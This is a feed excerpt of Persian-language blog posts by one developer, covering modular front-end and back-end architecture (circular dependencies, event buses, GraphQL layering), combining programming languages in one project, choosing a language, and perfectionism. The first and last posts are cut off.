    ...نکاتی که باید هنگام نام گذاری ماژول ها مورد توجه قرار بدیداسم هر ماژول، باید بتونه هدف ماژول رو به طور کلی برسونه. البته بعضی وقت ها ممکنه پیدا کردن اسم برای ماژول ها سخت بشه اما سعی کنید زیاد سخت نگیرید و در این مواقع به کلمات کلی اقتناع کنید.از انتخاب اسم های خیلی طولانی برای ماژول ها پرهیز کنید. اینطور اسم گذاری به درد نمی خوره.بعضی ها دوست دارن فولدر ماژول هاشون رو اkebab-case نام گذاری کنند، در حالی که بعضی ها PascalCase رو بیشتر ترجیح میدن. به نظر من زیاد فرقی نداره اما هر کدوم رو که انتخاب کردید سعی کنید در کل پروژه یکپارچه باشه. من شخصا kebab-case رو ترجیح میدم چون اینطوری، زیرماژول های پروژه رو از فولدر های شامل component هام راحت تر تشخیص میدم.درسته که مثال هایی که می زنم همه از ری اکت هست، ولی محدود به ری اکت نیست و می تونه توی همه پروژه های فرانت-اند استفاده بشه. راجع به پروژه های بک-اند هم میشه از این نکات استفاده کرد اما یک سری نکات خاص وجود داره که در انتها بهش اشاره می کنم. ماژول ها باید تا حد ممکن مستقل باشندهر ماژول باید تمام چیز های مورد نیاز رو برای به اتمام رسوندن وظیفه اش داشته باشه. مثلا در ساختار بالا، ماژول user-login باید همه component های رابط کاربری، api call ها، hook ها و ... لازم برای ورود کاربر رو داشته باشه.هیچ ارتباط دوطرفه ای نباید بین ماژول ها وجود داشته باشدبه طور کلی، خیلی وقت ها پیش میاد که ماژول ها نیاز دارند یه سری چیز ها رو از هم دیگه import کنند. این اشکالی نداره به شرط اینکه ارتباط import ها یک طرفه باشه.بعضی وقت ها پیش میاد که ماژول A به ماژول B نیاز داره و همینطور B به A که بهش circular-dependency هم گفته میشه. این موقعیت ها کاملا گند میزنه به ساختار پروژه و خاصیت اصلی یک ساختار ماژولار که جدا کردن بخش های مستقل اپلیکیشن هست رو از بین می بره.معمولا این قضیه زمانی پیش میاد که یکی از این دو شرایط برقرار باشه:ماژول هایی که انتخاب کرده اید اون قدر کوچیک اند که نمی تونن به اندازه کافی مستقل عمل کنند. در این صورت باید هر دو ماژول رو یکی کنید.ماژول های شما در یک concept مشترک هستند که در این صورت باید یک ماژول سوم استخراج کنید:استخراج ماژول ثالث«بسته سازی» سیستم داخلی ماژولمنظورم از «سیستم بسته»، اینه که ماژول باید تا حد امکان تعداد کمتری از اعضاشو export کنه. و اعضایی هم که به بیرون ماژول export میشن باید دقیقا معلوم و مشخص باشند. دقیقا مثل یک ماشین که از هزار تا قطعه کوچک تر ساخته شده ولی در نهایت یک سری interface مشخص مثل فرمان و دنده و پدال و ... برای راننده ها گذاشته که بدون دونستن جزئیات داخلی ماشین باهاش تعامل برقرار کنند.برای مثال، در پیاده سازی ماژول user-login، به جای اینکه یک API این شکلی ایجاد کنید:بهتره کلا سیستم login رو بسته نگه دارید:خوبی این روش اینه که راه اندازی ماژول خیلی ساده تر از قبل هست و کاربر نیازی به دونستن تمام جزئیات داخلی فرم لاگین نداره. ضمن این که انجام این کار ماژول شما رو خیلی خودکفا تر می کنه چون الان کنترل تمام پروسه لاگین دست UserLoginForm هست.البته، بدی این روش هم اینه که کاربر قسمت های کمتری از logic و UI رو می تونه دست‌کاری و شخصی‌سازی کنه. برای رفع این مورد، می تونید پارامتر های مشخصی رو تعیین کنید. برای مثال می تونید برای تعیین صفحه ای که کاربر بعد لاگین باید به اونجا هدایت بشه، یک property به نام redirectUrl روی UserLoginForm تعریف کنید.حواستون باشه که پارامتر های ماژول برحسب نیاز های واقعی پروژه باشن نه نیاز هایی که احتمال میدید در آینده پیش بیاد! مثلا اضافه کردن یک property مثل formUI (که قابلیت تغییر در ظاهر فرم رو میده) چون صرفا احتمال میدید در آینده ممکنه مورد نیاز بشه غلطه.معمولا وقتی ماژول رو دارید برای پروژه خودتون می نویسید، خیلی از چیز هایی که اوایل فکر می کنید نیاز میشن، نهایتا یا نیاز نمیشن یا اینکه با چیزی که واقعا نیاز پروژه است تفاوت دارند.استفاده از سیستم های reactiveوقتی کدتون رو به صورت reactive بنویسید، می تونید در قبال تغییر وضعیت سایر ماژول ها واکنش نشون بدید بدون اینکه اون ها خبر داشته باشند. اینطوری می تونید وابستگی رو حتی کمتر کنید.سناریو:فرض کنید می خواهید وقتی کاربر از اکانتش خارج شد، اگر در یک صفحه محافظت شده مثل صفحه admin بود، از اون صفحه هم خارج بشه و به فرم login بره.یه راهش اینه:که کار هم می کنه ولی راه بهترش اینه که به جای اینکه ماژول auth برای بقیه تصمیم بگیره، فقط سرش به کار خودش باشه و واکنش مناسب رو به دست ماژول های دیگه بسپره. این شکلی:useLogoutاول یک hook میسازیم که فقط و فقط اطلاعات احراز هویت رو پاک میکنهuseRequireAuthبعد هم یک hook می سازیم که فقط منطق محافظت از route و redirect کردن رو پیاده سازی می کنه و ضمن اینکه خودش یک عملکرد default داره (جهت راحتی استفاده)، به شما اجازه تغییر آدرسی که کاربر قراره به اونجا redirect بشه رو هم میده. (از طریق پارامتر redirectUrl) تا اینجاش، وظیفه ماژول auth بود. از اینجا به بعدش رو بقیه ماژول ها تصمیم میگیرند که از این سیستم امنیتی استفاده بکنند یا نه. برای مثال، الان می تونیم در صفحه ادمین این کار رو انجام بدیم:پیاده سازی با استفاده از hookیا اینکه از high order component ها استفاده کنیم (HOC)پیاده سازی با HOCدر هر حال، الان ما یک سیستم reactive در صفحه ادمین مون داریم که به وضعیت احراز هویت کاربر می تونه واکنش امنیتی مناسب نشون بده. همه اینها در حالی که است که خود ماژول auth از صفحه های تحت محافظت و ... بی خبره ? - خیلی تمیز بود مگه نه؟نکاتی که باید در پروژه های back-end رعایت بشهپیاده سازی ساختار ماژولار در پروژه های back-end نیازمند رعایت یه سری نکات اضافی هست. طبق تجربه خودم در پروژه های back-end اگر به ساختار لایه های data و API توجه نشه، به مرور زمان می تونن باعث ایجاد روابط دو طرفه بین ماژول ها بشن.1- رفع وابستگی reference های ORMدر واقع این طور اتفاقات اون قدر در پروژه های بک-اند می افته که خیلی از فریمورک ها برای خودشون API های مخصوصی ارائه کرده اند جهت مدیریت این طور موقعیت ها. مثلا در ORM جنگو، شما می تونید این شکلی و بدون import خود مدل یک reference بهش ایجاد کنید:حتی یک reference برعکس هم می تونید روی همین فیلد ایجاد کنید که هم از طریق کاربر به پست هاش و هم از طریق پست به کاربر نویسنده اش دسترسی داشته باشید. الان میشه پست های یک کاربر رو اینطوری درآورد:User.objects.get(username=&amp;quotashkan&amp;quot).postsو نویسنده یک پست رو اینطوری:Post.objects.get(id=34234).authorبهتره که شما هم از این ویژگی ها استفاده کنید و به جای import کردن مدل ها از string path شون در پروژه استفاده کنید. البته این وابستگی ها رو رفع نمی کنه اما حداقل دیگه ارور های مربوط به circular-dependency رو دریافت نمی کنید.اگر بخواهید خیلی جدی کل data layer هر ماژول رو جدا کنید، اون وقت باید خودتون transaction ها و app-level join و cache و data normalization و synchronization و ... رو بین ماژول ها انجام بدید که البته لازم به گفتن نیست که چقدر اذیت کننده، وقت گیر و سخته.البته بعضی شرکت های بزرگ که منابع انسانی خیلی زیادی دارند، پا رو از این فراتر میگذارند و حتی پروسه (process) های ماژول ها رو هم از هم جدا می کنند که بتونن هر ماژول رو با زبان برنامه نویسی و تکنولوژی خاص خودش پیاده سازی کنن و برای هرکدوم فرایند های CI/CD، deployment و replication جداگانه ای تعریف کنند. به این نوع معماری، microservice گفته میشه که در این مطلب نمی گنجه اما می تونید خودتون راجع بهش مطالعه کنید.2- عدم پراکندگی فیلد های دیتابیسفرض کنید مثلا دارید برای مدرسه تون یک اپلیکیشن می نویسد و دو ماژول auth و school رو در back-end دارید. حالا اگر بخواهید role هر کاربر رو در مدرسه نشون بدید چیکار می کنید؟ من خودم قبلا سریع در مدل User که در ماژول auth قرار داره فیلد جدیدی اضافه می کردم به نام role. احتمالا هم یه enum جهت محدود کردن مقدارش به STUDENT, TEACHER و MANAGER می ساختم.اما مسئله اینجاست که چرا باید در ماژول auth که صرفا مربوط به احراز هویت هست، فیلدی تحت عنوان role وجود داشته باشه؟ ضمنا توجه کنید که در ماژول auth ما اصلا از فیلد role استفاده ای نمی کنیم، بلکه ایجادش کردیم صرفا چون در ماژول school بهش نیاز داریم.پس چیکار کنیم این ها رو؟ به نظر به من با استفاده از join table ها میشه این رو حلش کرد:3- توجه به data point های API (از نوع GraphQL)اصلا هدف از ایجاد API های GraphQL متصل کردن data source ها به هم برای ایجاد پلتفرم های یکپارچه بوده و با اینکه راه حل هایی برای ساختن API های GraphQL ماژولار وجود داره مثل GraphQL Federation و ... اما اگر هدفتون اینه که data point ها رو از هم جدا کنید، باید برید سراغ REST API ها.باز هم طبق تجربه خودم، نهایتا می تونید resolver های GraphQL رو ماژولار بنویسید اما اگر دارید مثل من با روش code-first پیش میرید یکی از بزرگ ترین مشکلات typedef هایی هست که به شکل کلاس در کد تعریف میشن و هر جایی از گراف ممکنه import و استفاده بشن.مثلا در طی مسیر School -&gt; members -&gt; user -&gt; username روی گراف، با اینکه ابتدای مسیر با School شروع میشه (که مربوط به ماژول school هست) ولی انتهای مسیر به username اعضای مدرسه ختم میشه و شما باید بتونید از طریق ماژول auth نام کاربری هر عضو رو به دست بیارید و اینطور موقعیت ها باعث ایجاد circular-dependency میشه. چون همزمان که از مدرسه میشه به کاربر رسید، از طی مسیر User -&gt; membership -&gt; school هم میشه از کاربر به مدرسه اش رسید.پس کلا اگه بخواهید از GraphQL استفاده کنید یا باید تحمل circular-dependency های متعدد رو داشته باشید، یا اینکه از راه حل نهایی که در قسمت بعد میگم استفاده کنید.البته توجه داشته باشید که GraphQL تکنولوژی جوانی هست و هنوز لیست کل فن و تکنیک ها و best practice هاش در نیومده. بعید نیست که راه حل های دیگه ای هم وجود داشته باشه که من ندونم چون این پست رو از تجربه خودم نوشته ام.4- ایجاد سیستم های Reactive با استفاده از event هابعضی وقت ها وقتی فلان ماژول فلان کار رو انجام میده، بلافاصله باید بقیه ماژول ها مطلع بشن تا بتونن کار خودشون رو انجام بدن. مثلا وقتی کاربر اکانتش رو پاک می کنه شاید نیاز باشه که بقیه ماژول ها هم اطلاع پیدا کنند و clean up های مخصوص خودشون رو اجرا کنند. یا اینکه مثلا وقتی کاربر پیام رو دریافت می کنه، یک notification برای کاربر ارسال بشه.همون طور که می بینید تقریبا شبیه به همون سناریویی بود که با هم در یک پروژه فرانت اند برای واکنش به logout کاربر برسی کردیم. اینجا هم باید از همون concept استفاده کنیم. با این تفاوت که این بار با استفاده از event ها.مثلا به جای اینکه اینطوری کد بزنیم (کد غیر واقعی و مثالی است یکم وقت بزارید تا منطقش رو بفهمید):به جاش اول میایم و یک eventBus میسازیم که در کل اپلیکیشن مشترکه. می تونید از طریق یک singleton و dependency injection این کار رو در فریمورک هایی مثل nest js انجام بدید. راجع به بقیه شون خودتون باید بفهمید که پیاده سازی اش چطوری هست. من اینجا فقط به نمایش طرح کلی concept بسنده می کنم:اول کد مربوط به دریافت پیام چت رو به این صورت بازنویسی می کنیم. به طوری که دیگه هیچ خبری از سیستم notification و logging نباشه:حالا به جای اینکه مستقیم notification بفرستیم و ... فقط اعلام می کنیم که ایونت message-received اتفاق افتاده. در ادامه در ماژول notification یک handler برای message-received می نویسیم:حالا هر وقت که message-received اتفاق بیوفته، سیستم notification خود به خود برای کاربر notif رو ارسال می کنه.نکته: اگر تعداد notification ها زیاد باشه و ... خیلی پیچیدگی ها بیشتری به کار اضافه می کنه. مثلا شاید لازم باشه که به جای فرستادن notification به ازای هر پیام، فقط notification آخرین پیام های هر شخص/گروه و ... رو ارسال کنیم. به هر حال این فقط یک مثال ساده بود و جمع و جور کردن این موقعیت ها به عهده خودتون.و نهایتا یک logger برای همه event های اپلیکیشن می نویسیم:حالا هر اتفاقی توی اپلیکیشن بیوفته توی log ها نوشته میشه و لازم نیست مدام همه جا از سرویس logging استفاده کنیم. همچنین میتونیم این ماژول رو بسیار گسترشش بدیم. مثلا سیستمی رو در اون ایجاد کنیم که ارور های جدی رو برای مسئولین فنی ایمیل کنه یا اینکه warning ها رو به عنوان ticket برای bug tracker اپلیکیشن ارسال کنه جهت رسیدگی و ...و همه این ها اتفاق می افته در حالی که بقیه اپلیکیشن هیچ خبری نداره که اصلا ماژولی به نام logging وجود داره. هروقت هم بخواهیم می تونیم کل ماژول logging رو تغییر بدیم و هیچ ایرادی پیش نمیاد.همین قضیه برای سرویس notification هم برقراره.از این جور design pattern ها کلا زیاده، یکی از پرکاربرد ترینشون CQRS هست که منم در پروژه هام ازش استفاده می کنم. می تونید با گشتن در اینترنت راجع بهش بیشتر تحقیق کنید.نکته پایانی: استفاده از super-module هادوست دارم بهشون بگم super-module ولی درواقع این روش ترکیب معماری لایه ای و ماژولار هست. مثلا راجع به GraphQL می تونیم با جمع کردن کل چیزای مربوط به API در یک ماژول خیلی بزرگ مشکل مربوط به circular-dependency رو حل کنیم.یعنی به جای اینکه اینطوری ماژول بسازیم:این کار رو انجام میدیم:از لحاظ ساختار directory هم، اگر قبلش این باشه:src/
    module1/
         db/
         services/
         graphql/
    module2/
         db/
         services/
         graphql/حالا شده این:src/
    module1/
         db/
         services/
    module2/
         db/
         services/
    graphql/
         interfaces/
         inputobjs/
         typedefs/
         resolvers/
         ....حالا هر فعل و انفعالاتی که مربوط به graphql هست توی ماژول خودش ایزوله شده. شاید کمی پیچیده بشه ولی در این مورد خاص، استفاده از یک layer بهتر از circular-dependency و راه حل های عجیب غریبشه.خوب، پس کلا اگر بخواهیم تمام مقاله رو خلاصه کنیم، ماژول ها:باید مستقل باشندباید بسته باشندنباید circular-dependency یا ارتباط دوطرفه داشته باشندباید Reactive باشندنکاتی هم که در بک اند باید رعایت بشه:توجه به معماری لایه API و dataرفع وابستگی reference های مدل های ORMعدم پراکندگی فیلد های دیتابیساستفاده از event bus برای ایجاد سیستم های reactiveاگر هم ساختار ماژولار جواب کار نبود و circular-dependency امان نمی داد، میزنیم به سیم آخر و یک super-module یا همون layer ایجاد می کنیم.البته این ها حاصل مطالعات پراکنده من از منابع اینترنتی و تجربه های خودم در پیاده سازی پروژه هام بوده و قبول دارم که کامل نیست. اما چون این روش ها تا الان توی پروژه های با وسعت متوسط خیلی بهم کمک کرده اند و عملکرد قابل قبولی در نظم دهی به پروژه ها داشته اند تصمیم به اشتراک شون گرفتم.انشاالله وقتی علمم در این زمینه بیشتر شد مقالات کامل تری رو بنویسم.دمتون گرم که تا انتها خوندید، خدا یار و نگهدارتون.نوشته های قبلی من: https://vrgl.ir/IyRog  https://vrgl.ir/9Unan  https://vrgl.ir/c0AZw </description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Thu, 01 Sep 2022 17:02:06 +0430</pubDate>
            </item>
                    <item>
                <title>چطور یک اپلیکیشن با چند زبان نوشته میشود؟</title>
                <link>https://virgool.io/Events-IR/how-to-integrate-multiple-programming-languages-into-a-project-pugv3bxsgabh</link>
                <description>سلام دوستان. ترم دومه و معلم ها دارن با عجله ویراژ میدن. ما بخت‌برگشته ها هم باید هرطور شده پا به پاشون بدوییم تا جا نمونیم. سِیل زمان هم به سرعت و مثل همیشه بی تفاوت همه مون رو غرق کرده و داره با خودش می بره. هیچ هم اهمیت نمی ده چی جلوشه، فقط با خودش می بره. تا به حال اینقدر سریع گذر زمان رو احساس نکرده بودم.اما میان این همه شلوغی بالاخره وقتی پیدا شد تا با پست دیگری خدمت شما باشم. امروز می خوام به سوالی جواب بدم که طبق چیزی که دیده ام سوال خیلیای دیگه هم هست.مخاطبین مخصوص من در این پست برنامه نویس هایی هستند که تازه بعد از یادگیری اولین زبان برنامه نویسی شون به دنبال یادگیری زبان برنامه نویسی دومشون (یا حتی سومشون) هستند. برنامه نویس ها معمولا وقتی که دومین زبان برنامه نویسی شون رو یاد می گیرن، یکی از سوالایی که ذهنشون رو درگیر می کنه اینه که: «آیا می تونم با دانشی که از X داشته ام و کار های جدیدی که با Y یاد گرفته ام یک اپلیکیشن ترکیبی بسازم که از هر دو استفاده کنه؟»این سوال، قبلا سوال خودم هم بوده.من این سوال رو به طور خلاصه چندین بار در گروه های پرسش و پاسخ برنامه نویسی جواب داده ام اما از اونجایی که خیلی ها این سوال رو می پرسند، تصمیم گرفتم که هرچی راجع به این موضوع می دونم رو در قالب پست منتشر کنم که در دسترس بقیه باشه. این پست حتی اگر به یک نفر کمکی کرده باشه باز هم مایه خوشحالیه.خوب دیگه حاشیه بسه. بریم سراغ اصل مطلبمعمولا یک دلیل کلی وجود داره برای استفاده از چندین زبان برنامه نویسی در یک پروژه:هر زبان برنامه نویسی یه سری قابلیت خاص داره. یه سری کار ها رو خوب انجام میده ولی در بقیه موارد گند میزنه یا حتی اصلا نمی تونه انجامش بده. معمولا در این مواقع برای پوشاندن نقاط ضعف اون زبان برنامه نویسی، از یک زبان برنامه نویسی دیگه در کنارش به صورت ترکیبی استفاده میشه.حالا بزارید یه سری ترکیب بهتون معرفی کنم که خیلی رایج هستند.ترکیب یک زبان برنامه نویسی سطح پایین و یک زبان برنامه نویسی سطح بالازبان های سطح پایین (low level) مثل C ، C++ و rust و ... سرعت بیشتری نسبت به زبان های برنامه نویسی سطح بالا (مثلا پایتون، جاوا اسکریپت و ...) دارند. همچنین زبان های سطح پایین به یه سری API های سیستمی دسترسی دارند که زبان های سطح بالا به اون ها دسترسی مستقیم ندارند. به خاطر همین اگر می خواهید از API های سیستمی استفاده کنید یا اینکه سرعت عملیات های CPU intensive (عملیات هایی که سر و کارشون با CPU هست و دائم کار های پردازشی انجام میدن) رو بالا ببرید، می تونید یک زبان برنامه نویسی سطح پایین رو انتخاب کنید و به صورت ترکیبی با یک زبان سطح بالا استفاده کنید.یکی از نمونه های بارزش که من خودم هم یک بار به قصد یادگیری انجام داده ام، ترکیب C++ با python هست. معمولا ترکیب یک زبان برنامه نویسی سطح پایین و یک زبان برنامه نویسی سطح بالا به این صورت هست که اون زبان برنامه نویسی سطح پایین یه سری interface های native برای اون زبان سطح بالا ایجاد می کنه و چون native هست، اون زبان سطح بالا می تونه از اون interface استفاده کنه بدون اینکه حتی متوجه بشه اون بخش با یک زبان برنامه نویسی دیگه پیاده سازی شده.اگه می خواهید مثالش رو با C++ و پایتون ببینید به این repository سر بزنید. این پروژه رو در تابستون برای یادگیری بیشتر C++ انجام داده ام. https://github.com/Amohammadi2/Casino_plus تا زمانی که دلیل خوبی ندارید، بهتره سراغ این روش نرید. این روش علاوه بر کارایی، دردسر خیلی زیادی داره که به شدت سر آدم رو درد میاره. خدا نکنه کدی که با C++ نوشته اید باگ داشته باشه و ارور بده ... اون وقت می فهمید منظورم از دردسر چیه ...ترکیب دو زبان برنامه نویسی سطح بالا در دو domain مختلفاین طور ترکیب رو به وضوح در دنیای وب می شه دید. مثال بارزش جاوا اسکریپت هست که در کنار زبان های برنامه نویسی back-end استفاده میشه تا یک وب اپلیکیشن interactive بسازه. تقریبا هر back-end ای که API وب داشته باشه رو میشه با جاوا اسکریپت ازش استفاده کرد. اهمیتی نداره که اون back-end با چه زبانی نوشته شده. تا زمانی که API وب داشته باشه (مثل REST یا اخیرا GraphQL) جاوا اسکریپت به راحتی بهش متصل میشه.مثال دیگه ای که می تونم بزنم نحوه برقراری ارتباط بین microservice ها در back-end هست که معمولا از طریق پروتوکل های متنی یا باینری (مثلا gRPC و ...) انجام میشه.همه این API ها و پروتوکل ها هم interface محسوب میشن ام دیگه native نیستند. یعنی شما نمی تونید مستقیم کد رو import کنید و استفاده کنید. مجبور هستید پیام رو مخابره کنید. نحوه مخابره اش می تونه یه HTTP Call باشه، یه Remote Procedure Call و ...انواع مختلف دیگه ای می تونه وجود داشته باشه (مثل buffer protocol های گوگل و ...) که من اطلاع زیادی ازش ندارم. اگر پیشنهادی دارید تو کامنت ها بهم بگید که آپدیت کنم و اضافه کنم. تا پست بعدی در پناه یگانه.نوشته های دیگه ی من https://virgool.io/@mohammadiashkan1384/%D9%BE%D9%88%D9%84%D8%B3%D8%A7%D8%B2-%D8%AA%D8%B1%DB%8C%D9%86-%D8%B2%D8%A8%D8%A7%D9%86-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%DA%AF%D9%86%D8%AC%DB%8C-%DA%A9%D9%87-%D9%87%DB%8C%DA%86-%DA%A9%D8%B3-%D9%BE%DB%8C%D8%AF%D8%A7-%D9%86%DA%A9%D8%B1%D8%AF%D9%87-yvjon869kvr1  https://virgool.io/@mohammadiashkan1384/%D8%A7%D8%B4%D8%AA%D8%A8%D8%A7%D9%87-%DA%A9%D9%85%D8%A7%D9%84-%DA%AF%D8%B1%D8%A7%DB%8C%DB%8C-%D9%88-%D9%BE%D8%B1%D9%88%DA%98%D9%87-%D9%87%D8%A7%DB%8C-%D9%86%D8%A7%D8%AA%D9%85%D8%A7%D9%85-%DB%8C%D8%A7-%D8%B4%DA%A9%D8%B3%D8%AA-%D8%AE%D9%88%D8%B1%D8%AF%D9%87-x4paozrfaje3  https://virgool.io/@mohammadiashkan1384/what-non-technical-skills-does-a-programmer-need-unoqrgvfmo18 </description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Thu, 10 Feb 2022 22:53:17 +0330</pubDate>
            </item>
                    <item>
                <title>«پولساز ترین زبان برنامه نویسی» - گنجی که هیچ کس پیدا نکرده</title>
                <link>https://virgool.io/Events-IR/%D9%BE%D9%88%D9%84%D8%B3%D8%A7%D8%B2-%D8%AA%D8%B1%DB%8C%D9%86-%D8%B2%D8%A8%D8%A7%D9%86-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3%DB%8C-%DA%AF%D9%86%D8%AC%DB%8C-%DA%A9%D9%87-%D9%87%DB%8C%DA%86-%DA%A9%D8%B3-%D9%BE%DB%8C%D8%AF%D8%A7-%D9%86%DA%A9%D8%B1%D8%AF%D9%87-yvjon869kvr1</link>
                <description>شاید تا به حال  شما هم نظاره‌گر دعوای متعصبانه تازه وارد ها سر &quot;بهترین زبان برنامه نویسی&quot; بوده اید. البته این موضوع چیز جدیدی نیست و از این نوع دعوا ها تو هر گروه پرسش و پاسخ کامپیوتر دیده میشه. هروقت یکی میاد می پرسه «بهترین/پولساز ترین/خفن ترین زبان برنامه نویسی چیه؟» یکی سریع reply میزنه که «قطعا سی شارپ» بعد اونی که تازه از دانشگاه C++ یاد گرفته میاد میگه «نه C++ مادر همه تکنولوژی هاییه که داریم» و ... کلا هرکی یه چیز میگه اون بنده خدایی هم که سوالو پرسیده جواب منطقی نمی گیره و فقط بیشتر گیج میشه.اما اصلا چیزی به عنوان «بهترین/پولساز ترین/خفن ترین زبان برنامه نویسی» وجود داره؟ این همون موضوعی هست که قراره راجع بهش حرف بزنیم.هرچیزی که تو این دنیا به دست انسان ساخته بشه، درکنار فوایدش ضرر هایی هم داره. با وجود خوبی هاش، همیشه نقص هایی هم داره. همین ماشینی که سوارش میشیم و باهاش طی چند ساعت از این شهر به شهری دیگه میریم و از این لحاظ خیلی به حمل و نقل مون کمک کرده، الان دود اگزوزش تو تهران (و بقیه شهر هایی که آلودگی هوا دارن) داره نفس مردم رو بند میاره. میبینید؟ انسان هیچ وقت نمی تونه یه چیز کامل و بی نقص بسازه. انسان هیچ وقت نمی تونه همه پارامتر ها رو بسنجه. کی در گذشته می دونست دود ناچیز اگزوز ماشین می تونه سبب این حجم از آلودگی هوا بشه؟ تو تابستون میره هوا و دهن لایه اوزن رو سرویس میکنه. تو زمستون هم پایین میاد دهن ما رو سرویس می کنه.بگذریم، اینا رو گفتم که الان ربطش بدم به زبان های برنامه نویسی و بگم هیچ زبان برنامه نویسی کامل نیست. معمولا افرادی که خیلی سریع می خوان از طریق برنامه نویسی به درآمد برسن، دنبال «بهترین/پولساز ترین/خفن ترین زبان برنامه نویسی» میگردن اما نمی دونن چنین چیزی وجود نداره.هر کدوم از زبان های برنامه نویسی برای یه کاری ساخته شده اند و توی یه کاری خوب هستند. اگر نبودند تا الان مثل هزاران زبان برنامه نویسی دیگه دور انداخته شده بودن. مثلا پایتون برای پروژه های هوش مصنوعی و توسعه اپلیکیشن های سمت سرور گزینه خوبیه، یا مثلا کاتلین/فلاتر/ری اکت نیتیو (بسته به شرایط) برای توسعه اپلیکیشن اندروید می تونن گزینه های مناسبی باشن.در حالت عادی شما نمی تونید همینطوری با مقایسه ویژگی هاشون این موارد رو با هم مقایسه کنید و تصمیم بگیرید که کدومش برتری بیشتری نسبت به دیگری داره. چون ویژگی هایی که هرکدوم داره معیار مناسبی برای سنجش توانایی شون نیست. چیزی که تعیین می کنه کدوم برای شما مناسبه، کاریه که می خواهید انجام بدید.خیلی مهمه که بدونید چه کاری می خواهید انجام بدید. چون برای موفق شدن شما به «بهترین/پولساز ترین/خفن ترین زبان برنامه نویسی» نیاز ندارید. در واقع شما به «بهترین/پولساز ترین/خفن ترین ایده» نیاز دارید. اون ایده است که بهترین زبان برنامه نویسی رو تعیین می کنهاون ایده حتی تعیین کننده میزان درآمد شماست.خیلی از برنامه نویس ها رو دیده ام (من جمله خودم*) که با وجود مهارت های فنی که دارن، اگه ازشون بپرسید می فهمید که هیچ ایده منحصر به فرد و نوآورانه ای ندارن (من جمله خودم*)بزارید یه مثال بزنم. من یکی از دوستام تازه داشت پایتون یاد میگرفت و تقریبا مقدمات کار با پایتون رو بلد بود ولی چیزی نمی تونست بسازه، چرا؟ توانایی فنی نداشت؟ اتفاقا داشت. چیزی که نداشت ایده بود، چون مهارت فنی رو هنگام پیاده سازی ایده میشه کم کم از طریق منابع مختلف (علی الخصوص stack overflow ?) کسب کرددر بازار کار (نه تنها برنامه نویسی بلکه همه فیلد ها) چیزی که مهمه طرح و ایده است. چیزی که براتون درآمد زایی داره طرح و ایده است. شما برای درآمدزایی یا باید ایده خودتون رو ارائه بدید، یا ایده دیگران رو پیاده سازی کنید. بالاخره یه طوری باید پای یک ایده در میان باشه.وقتی که ایده پیدا شد، باید پیاده سازی بشه. حالا وقتشه که ابزار مناسب رو انتخاب کنید. زبان های برنامه نویسی همه شون ابزاری هستند برای پیاده سازی ایده شما. حالا که می دونید ایده چیه و قراره چه کاری انجام بدید سنجه مناسبی برای ارزیابی زبان های برنامه نویسی دارید. هرکدومشون که توانایی بیشتری برای رفع نیاز هاتون داشته باشه، زبان برنامه نویسی مناسب تریه.تا اینجا روی صحبتم با کسانی بود که می خوان کسب و کار خودشون رو داشته باشن و می خوان ایده خودشون رو توسعه بدن. حالا کسانی که دنبال کار در شرکت ها هستند چطور باید زبان برنامه نویسی مناسب شون رو انتخاب کنند؟ جواب راحته، باید ببیند که «چه کاری می خوان انجام بدن» و وقتی که فهمیدن به چه چیزی علاقه دارند می تونن خیلی آسون و بدون خونریزی زبان برنامه نویسی متناسب با حوزه مورد علاقه شون رو با کمی تحقیق انتخاب کنند. به حرف کسایی هم که می گن این زبان درآمد بیشتری داره و ... هم گوش نکنید.البته ممکنه مثلا یه برنامه نویس پایتون از یک برنامه نویس php درآمد بیشتری داشته باشه اما دلیل این درآمد بیشتر، پایتون نیست، بلکه کاریه که طرف با پایتون انجام میده. ممکنه طرف کارش ساختن شبکه های عصبی هوش مصنوعی با پایتون باشه و به همین خاطر درآمد بیشتری داره. حالا شما بیا با همون پایتون یه وبلاگ معمولی بزن، مثل همون کاری که یک برنامه نویس تازه وارد php با وردپرس انجام میده. اون وقت درآمد هر دو شما یکی میشه. چون هرچند هرکدومتون با زبان های برنامه نویسی متفاوت و تکنیک های مختلف کار رو انجام می دید اما در نهایت چون نتیجه کار هر دو شما یکیه پس درآمد هاتون هم یکیهخوب به انتهای پست رسیدیم. خوشحال میشم اگر نظراتتون رو راجع به حرفام در قسمت کامنت ها بگید. تا پست بعدی در پناه حق</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 17 Jan 2022 17:08:11 +0330</pubDate>
            </item>
                    <item>
                <title>اشتباه، کمال‌گرایی و پروژه های ناتمام یا شکست خورده ...</title>
                <link>https://virgool.io/Events-IR/%D8%A7%D8%B4%D8%AA%D8%A8%D8%A7%D9%87-%DA%A9%D9%85%D8%A7%D9%84-%DA%AF%D8%B1%D8%A7%DB%8C%DB%8C-%D9%88-%D9%BE%D8%B1%D9%88%DA%98%D9%87-%D9%87%D8%A7%DB%8C-%D9%86%D8%A7%D8%AA%D9%85%D8%A7%D9%85-%DB%8C%D8%A7-%D8%B4%DA%A9%D8%B3%D8%AA-%D8%AE%D9%88%D8%B1%D8%AF%D9%87-x4paozrfaje3</link>
                <description>من خودم تا همین چندوقت پیش جزء آدم های بیش از حد کمال‌گرایی بودم که تو کارشون به شدت سخت میگیرن و این سخت گیری و کمالگرایی بیش از اندازه، تبدیل به مانعی دربرابر پیشروی پروژه هاشون میشه. یکی از خصلت های رایج برنامه نویس ها اینه که دوست دارن راه حل های نرم افزاری رو که برای حل مشکلات موجود در دنیای واقعی به ذهنشون میرسه پیاده سازی کنند. حالا این مشکل ممکنه مشکل خودشون باشه یا یه عده کثیری از مردم که نیاز به یه راه حل مناسب دارن.این خصلت در منم وجود داره و در نتیجه میشه گفت که من هم کلی فکر و ایده و پروژه داشتم که می خواستم تکمیل کنم و ارائه بدم اما مشکل اساسی اینجاست که بیش از 90% اون پروژه ها متوقف شد. نه به خاطر اینکه من توانایی فنی لازم رو برای انجامش نداشتم، بلکه به خاطر اینکه کمال‌گرایی بیش از اندازه ای که داشتم باعث می شد که از ادامه کار ناامید بشم و پروژه رو ناتمام رها کنم.پروژه های ناتمام:چند وقت پیش رفتم سراغ فولدر مربوط به پروژه هام و اینا رو دیدم:پروژه هایی که اکثرشون رها شدناین ها هم که کلهم اجمعین 